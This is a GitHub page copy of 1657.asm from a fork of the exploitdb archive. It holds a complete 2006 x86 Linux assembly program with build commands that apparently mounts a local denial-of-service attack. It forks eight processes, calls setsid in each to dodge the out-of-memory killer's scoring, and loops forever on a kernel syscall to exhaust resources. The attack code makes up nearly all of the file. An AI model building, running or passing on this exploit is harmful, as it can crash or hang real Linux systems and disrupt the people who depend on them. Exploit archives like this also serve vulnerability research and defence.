forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy path1657.asm
More file actions
executable file
·44 lines (40 loc) · 1021 Bytes
/
Copy path1657.asm
File metadata and controls
executable file
·44 lines (40 loc) · 1021 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
;nasm -f elf noHeaven.asm
;ld -s -o noHeaven noHeaven.o
section .text
global _start
count equ 8 ; threads count - do it quicker
_start:
mov ebx, count
call create_threads
jmp done
_pause:
mov eax,29
int 0x80
ret
create_threads:
mov eax,2
int 0x80
test eax,eax
jz consume
dec ebx
test ebx,ebx
jnz create_threads
ret
consume:
setsid: ; so we won't get counted as one thread in oom_killer()
xor ebx,ebx ; each task will have about 20 oom_score which
mov eax,66 ; is less than 'init' and others
int 0x80
push eax
loopek:
mov eax,259
mov ebx,0
mov ecx,0
mov edx,esp
int 0x80
jmp loopek
done:
xor ebx,ebx
mov eax,1
int 0x80
; milw0rm.com [2006-04-09]